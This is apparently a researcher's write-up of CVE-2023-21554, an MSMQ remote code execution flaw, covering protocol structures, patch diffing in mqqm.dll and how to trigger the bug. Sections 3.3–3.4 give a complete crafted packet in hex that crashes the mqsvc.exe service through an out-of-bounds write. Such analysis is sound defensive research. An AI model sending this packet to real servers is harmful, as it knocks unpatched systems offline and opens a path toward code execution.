[CVE-2023-21554] Windows Message Queuing Remote Code Execution Vulnerability Analysis
0. Preface
This article introduces the CVE-2023-21554 vulnerability, which exists in Microsoft’s Message Queuing (MSMQ) service. Due to the service’s lack of proper validation of data packets, an attacker can exploit this vulnerability to achieve remote code execution.
As I was not familiar with the MSMQ service, I first spent a significant portion of this post introducing the service and its related data structures. Afterwards, I located the vulnerability by comparing patches. Then, I attempted to trigger the vulnerability by modifying the packet examples provided in the official documentation. Finally, I summarized the vulnerability principles and the entire analysis process.
1. Background Knowledge
1.1 MSMQ
Message Queue (消息队列): An asynchronous message transmission mechanism. Applications can send messages to a message queue and read messages from it. Message queues enable sending and receiving applications to operate asynchronously.
Microsoft’s implementation of the message queue service is called Microsoft Message Queuing (MSMQ). This service can be installed via “Turn Windows features on or off”.
MSMQ contains various protocols to support Microsoft’s message queuing service:

Here, we mainly focus on the Message Queuing Binary Protocol, which is directly related to message transmission. This protocol defines a mechanism for reliably transferring messages between two message queues located on different hosts.
According to the documentation, messages transmitted in a message queue system have a series of message properties, which contain various metadata related to the message, and a special property called the message body, which contains the actual data sent by the application. There are no restrictions on the content of the message body.
During message transmission, the client first establishes a TCP or SPX-based protocol session with the server. The server’s TCP connection uses port 1801, and the SPX connection uses port 876, while the client’s port is arbitrary.
The protocol session is initialized by sending EstablishConnection packets and ConnectionParameter packets. Afterwards, both parties can send UserMessage packets at will and acknowledge them via SessionAck packets, OrderAck packets, and FinalAck packets.
1.2 UserMessage
We focus primarily on the UserMessage packet. This packet always contains a complete message and is used to transmit application-defined and administrative acknowledgment messages between the sender and the receiver.
Structurally, a UserMessage packet consists of a series of headers, including mandatory headers and optional headers. Mandatory headers must appear in all UserMessage packets, including BaseHeader, UserHeader, and MessagePropertiesHeader. The optional headers explicitly listed in the documentation include TransactionHeader, SecurityHeader, DebugHeader, SoapHeader, MultiQueueFormatHeader, and SessionHeader. However, in practice, the documentation also introduces other header information, and decompilation through IDA reveals additional headers.
The processing of UserMessage is located in the CQmPacket::CQmPacket function in mqqm.dll. By generally observing this function, we can see that it processes each header (represented as sections in IDA) in the UserMessage linearly in a fixed order:

1.3 Section Structure
Although the fields in different sections vary, their overall structures share similarities: they all consist of a few fixed fields + several variable fields.
Since CQmPacket::CQmPacket processes UserMessage packets linearly in a fixed order, it must use some method to locate the next section. Generally, there are three scenarios:
- The length of the variable fields in the section is not fixed. A
Flagsfield is present to indicate whether a specific variable field exists, and other fields specify the length of the variable fields. - The length of the variable fields is fixed. A
Flagsfield is present to indicate whether a specific variable field exists. - The section does not contain variable fields, so the total length is fixed, and there are no fields related to length.
For example:
SecurityHeader belongs to the first scenario. Its structure is as follows, where the Flags field contains flags indicating whether the SecurityData field exists, and the sum of several *Size fields determines the size of the SecurityData field:
1 2 3
0 7 5 3 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Flags | SenderIdSize |
| EncryptionKeySize | SenderCertSize |
| ProviderInfoSize | |
| SecurityData (variable) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
DebugHeader belongs to the second scenario. Its structure is as follows, where the Flags field contains flags indicating whether the QueueIdentifier field exists, which has a fixed length of 16 bytes:
1 2 3
0 7 5 3 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Flags | Reserved |
| |
| |
| QueueIdentifier (16 bytes, optional) |
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
SessionHeader belongs to the third scenario. This section has a fixed size of 16 bytes, and its structure is as follows:
1 2 3
0 7 5 3 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AckSequenceNumber | RecoverableMsgAckSeqNumber |
| RecoverableMsgAckFlags |
| UserMsgSequenceNumber | RecoverableMsgSeqNumber |
| WindowSize | Reserved |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
2. Patch Analysis
By comparing the mqqm.dll file before and after the patch, it was found that Microsoft modified the CQmPacket::CQmPacket function and multiple SectionIsValid functions:

According to cross-references, the SectionIsValid functions are called by CQmPacket::CQmPacket and are mainly used to check whether the contents of each section are valid while traversing the UserMessage. For example, if a flag bit indicates that a section should contain a certain variable field, this function checks whether the section indeed contains that variable field and whether its length meets the requirements. Additionally, it checks whether the calculated address of the next section (based on the current section’s field contents) exceeds the boundary of the entire packet.
Upon inspection, the patch logic was mainly modified in the part where the next section’s address is retrieved. The fix in each SectionIsValid function varies slightly because the structures of different sections differ, and their methods for calculating the next section’s address also differ. Based on the three types of section structures summarized in Section 1.3, the fix methods are summarized below:
-
Section Structure Type 1: Variable length is not fixed, and there are fields indicating the length of variable fields. This includes
CPropertyHeader,CSecurityHeader,CUserHeader, andCBaseMqfHeader. These functions add validation for the values in fields related to field lengths (checking for overflow) and call a new functionGetNextSectionPtrSafeat the end, where the third parametervarlenis calculated from the field values.Note: Because the
CBaseMqfHeadersection structure is simple, it does not actually call this new function. We won’t consider it here as it is a special case.
-
Section Structure Type 2: Variable length is fixed, and there are fields indicating whether the variable field exists. This includes
CDebugSectionandCXactHeader. These functions check theFlagsfield to determine if the variable field exists. Similarly, they call the new functionGetNextSectionPtrSafeat the end, with the third parametervarlenset to either 0 or a fixed value (the fixed length of the variable field).
-
Section Structure Type 3: Does not contain variable fields. Naturally, sections of this type do not involve such issues.
-
Other Structure Types: Includes
CMsgGroupHeaderandCMsgDeadletterHeader.CMsgGroupHeaderis not documented, but code analysis reveals that its structure is similar toCMsgDeadletterHeader. Both contain variable fields whose lengths are not fixed, and the variable fields are null-terminated (\x00). Therefore, no separate field is used to specify the length of the variable field. These functions add code to check whether the position of\x00exceeds the end of the packet, and do not callGetNextSectionPtrSafe.
The GetNextSectionPtrSafe function is defined as follows:

Here, the len and varlen parameters correspond to the fixed field length and variable field length in a section, respectively, which are added together to get the total length of the section.
Upon inspection, the new code added in CQmPacket::CQmPacket serves the same purpose. In addition to the headers listed in the documentation and explicitly defined in the symbols, the CQmPacket::CQmPacket function also iterates through other sections using certain flag bits in the Flags field of UserHeader. However, in the documentation’s explanation of Flags, the corresponding flag bits are marked as “Reserved”. I suspect this might be a newly added feature where the documentation has not been updated, or this part of the information is simply not public. In the loop traversing these undocumented sections, overflow checks and calls to GetNextSectionPtrSafe have also been added.
According to the summary above, the patched code adds systematic checks for variable field lengths, specifically through the GetNextSectionPtrSafe function. However, note that this does not mean the unpatched code lacks checks entirely. In fact, some sections had similar checks before the patch, but they were scattered across various functions, and I did not organize them here.
Note: Initially, I did not notice that the unpatched code contained such checks. I found this out when trying to trigger the vulnerability below, which caused me to take some detours.
Supplementary content after discovering issues in Section 3.3:
The primary focus should still be on the CQmPacket::CQmPacket function. When indexing undocumented sections, the calculated position of the next section is not validated. The following is a partial screenshot (the processing of several sections is not written into separate functions but is instead placed directly in CQmPacket::CQmPacket, including both documented and undocumented sections. Some of these lack corresponding checks; only the first one is screenshotted here):

The patched code is as follows:

3. Vulnerability Triggering
3.1 First Attempt
Note: The first attempt was based on my incorrect understanding.
In the section structure described in Section 1.3, we know that when the length of the variable field in a section is not fixed, a Flags field indicates whether a specific variable field exists, and another field specifies the length of the variable field. The key issue lies here: all fields in the section are sent from the client, meaning they are controlled by the attacker. When CQmPacket::CQmPacket traverses UserMessage, it calculates the next section’s position based on these attacker-controlled fields.
According to the information obtained from the patch comparison, we know that the unpatched code did not effectively check the fields related to variable field lengths (though some sections did have checks). In other words, modifying the variable field length in Type 1 sections might trigger the vulnerability.
The official Microsoft documentation provides an MSMQ packet example [2]. We can directly use this packet and modify the value of the variable field length in its SecurityHeader.
Note: Because the UserHeader structure is complex, and SecurityHeader is the first qualifying section structure to appear after it, I initially chose SecurityHeader.
First, install the Microsoft Message Queuing server on the target virtual machine (OS version: Windows 10 Pro 19044.2364). After installation, you can see the running MSMQ service:

And it is listening on port 1801:

Directly send the original EstablishConnection packet and ConnectionParameters packet according to the official documentation, and modify the SenderIdSize in the SecurityHeader of the UserMessage.
The SenderIdSize field is two bytes in total. I tested several values, but none caused the mqsvc.exe process to crash. Therefore, it was necessary to further analyze the behavior of the CQmPacket::CQmPacket function to confirm how the tampered variable field length affects the subsequent code.
Note: I tested values smaller than the actual value, larger than the actual value, and negative values. However, SecurityHeader actually does validate the variable field length: it checks whether the value is negative, whether the addition overflows, and whether the calculated next section address exceeds the packet boundary. Thus, modifying the variable field length in SecurityHeader only causes the calculated next section address to shift within the packet boundary. In this scenario, since the next section’s position is incorrect, the malformed data is highly likely to be detected by the system and trigger error handling, rather than triggering a crash due to the vulnerability.
3.2 Detailed Analysis of CQmPacket::CQmPacket
As mentioned earlier, the CQmPacket::CQmPacket function traverses the UserMessage. Some field names are not directly labeled in the symbols. After further comparison with the section structures in the documentation, I identified several section structures in the IDA code that were not labeled in the symbols but were mentioned in the documentation. However, some section structures remain unnamed, though this does not affect the vulnerability analysis.
The annotated CQmPacket::CQmPacket function is shown below:


To keep the representation concise, I collapsed the specific operations for the subsequent sections. However, the logic is identical to the two expanded blocks above, with minor details varying due to the differences in section structures. Whether a section is processed is determined by the flag bits in BaseHeader or UserHeader, as annotated.
After traversing all sections, the function checks the parameters at the end and, if conditions are met, constructs ExtensionHeader, SubqueueHeader, and ExtendedAddressHeader again. I am not entirely sure about the function of this part, but it does not affect the vulnerability triggering.
3.3 How to Trigger
It was at this point that I realized my mistake. The true vulnerability lies in the section processing of the CQmPacket::CQmPacket function. I chose the section shown in the screenshot below as the target to trigger the vulnerability. This is the second problematic section, and its structure is relatively simple, unlike the first section which requires calculating the position twice. Hereafter, this section is referred to as TargetSection:

In the second screenshot of Section 3.2, we can see that after traversing all sections, CQmPacket::CQmPacket attempts to construct an ExtensionHeader. During construction, it uses the statement *nxtSec = 12i64; without any prior check.
If the execution flow reaches the processing logic of TargetSection, we can control the value of nxtSec, achieving an out-of-bounds write of a fixed value at an arbitrary address (technically not an arbitrary address, but constrained by the range of the variable field length).
The entire vulnerability triggering logic is as follows:
- Modify the flag bits in
UserHeaderto satisfy the condition(userHeaderFlag & 0x4000000) != 0. - Construct the
TargetSectionat the end of the packet so that the calculation ofnxtSecin its processing logic yields the target write address. To trigger a crash, we can design an invalid address. - Modify other fields in the packet to make it valid (such as the total packet length field).
The final constructed packet is as follows:
10 00 03 00 4C 49 4F 52 00 01 00 00 FF FF FF FF
D1 58 73 55 50 91 95 95 49 97 B6 E6 11 EA 26 C6
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
FF FF FF FF 4C 49 4F 52 EE 08 00 00 00 1C 28 04
1A 00 4F 00 53 00 3A 00 61 00 30 00 34 00 62 00
6D 00 30 00 32 00 5C 00 71 00 00 00 01 00 1C 00
00 00 00 00 00 00 00 00 00 00 00 00 01 05 00 00
00 00 00 05 15 00 00 00 AD 4A 9E BD 36 D9 FA 3D
63 A6 56 DA E8 03 00 00 0F 0F 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
08 00 00 00 00 00 00 00 12 00 00 00 12 00 00 00
00 00 00 00 04 80 00 00 01 68 00 00 00 00 00 00
6D 00 71 00 73 00 65 00 6E 00 64 00 65 00 72 00
20 00 6C 00 61 00 62 00 65 00 6C 00 00 00 61 00
61 00 61 00 61 00 61 00 61 00 61 00 61 00 61 00
11 11 11 11 00 00 00 40 00 00 00 40 00 00 00 00
When the system executes the statement *nxtSec = 12i64;, the debugger shows:
2: kd> p
MQQM!CQmPacket::CQmPacket+0x90a:
0033:00007ffd`d37688aa 48c7030c000000 mov qword ptr [rbx],0Ch
2: kd> dd rbx
DBGHELP: SharedUserData - virtual symbol module
00000115`f7f50520 ???????? ???????? ???????? ????????
00000115`f7f50530 ???????? ???????? ???????? ????????
00000115`f7f50540 ???????? ???????? ???????? ????????
00000115`f7f50550 ???????? ???????? ???????? ????????
00000115`f7f50560 ???????? ???????? ???????? ????????
00000115`f7f50570 ???????? ???????? ???????? ????????
00000115`f7f50580 ???????? ???????? ???????? ????????
00000115`f7f50590 ???????? ???????? ???????? ????????
Continuing execution will cause the mqsvc.exe process to crash:

3.4 Packet Details
The packet format is the same as described in the official documentation, containing BaseHeader, UserHeader, SecurityHeader, and MessagePropertiesHeader. The specific modified fields are as follows (-- indicates unmodified):
- BaseHeader:
-- -- -- -- -- -- -- -- 00 01 00 00 FF FF FF FFModifyPacketSizeto0x00000100andTimeToReachQueueto0xFFFFFFFF.PacketSizerepresents the total packet size and must be 4-byte aligned. If the initial packet does not meet this requirement, pad it with trailing zeros.TimeToReachQueueindicates the time limit for the packet to reach the target queue manager (QM).0xFFFFFFFFdenotes infinite time, which is set to ensure the packet is not dropped. - UserHeader:
Modify the last byte of the flags field to satisfy the condition-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 04 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --(userHeaderFlag & 0x4000000) != 0. - SecurityHeader: Unchanged.
- MessagePropertiesHeader: Significantly truncated, and the corresponding field length values were reduced. This has nothing to do with the vulnerability and is only intended to simplify the packet.
- TargetSection:
11 11 11 11 00 00 00 40 00 00 00 40The first four bytes are unused and can be set to any value. The two subsequent 4-byte values are involved in the calculation ofnxtSec:To trigger the vulnerability, I chose a large negative numbernxtSec = (char *)nxtSec + ((*((_DWORD *)nxtSec + 2) + 15 + *((_DWORD *)nxtSec + 1)) & 0xFFFFFFFC);0x80000000by setting both 4-byte values to0x40000000, resulting in an inaccessible address.
4. Vulnerability Summary
An MSMQ UserMessage packet is composed of multiple sections of different structural types. Some sections contain variable-length fields, with separate fields specifying their lengths. When retrieving the position of the next section, these length fields are used in the calculation.
When processing UserMessage packets, the MSMQ server uses the CQmPacket::CQmPacket function to linearly traverse each section. Some sections are documented and have corresponding functions in the symbols, while others are only described in the official documentation or completely undocumented. These undocumented sections do not have dedicated functions, and their processing code is written directly inside the CQmPacket::CQmPacket function.
Possibly because these sections are not fully public, the developers did not implement rigorous validation for the data in the packet. As a result, when calculating the next section’s position, the calculated address may exceed the memory bounds allocated for the packet, leading to an out-of-bounds write.
To facilitate future expansions, the patched code introduces a validation interface function (GetNextSectionPtrSafe) and calls it at every location requiring checks.
5. Conclusion
The primary difficulty in analyzing this vulnerability lies in the MSMQ service itself. The only available resources online are the official documentation. Since packet capture via Wireshark cannot parse the custom packet structure, one must rely on the documentation to reconstruct the packet contents and identify the data structures in IDA.
During the vulnerability analysis process, because there were many modified locations in the patch comparison, the added code was not only to fix the vulnerability but also to support subsequent features. This led to some initial misconceptions about the vulnerability mechanism, causing me to spend extra time debugging.
The code analyzed so far indicates that this vulnerability only allows writing a fixed value within a certain range of memory addresses. To achieve full exploit capability, further analysis of the subsequent code is required to construct a more precise packet for arbitrary memory write.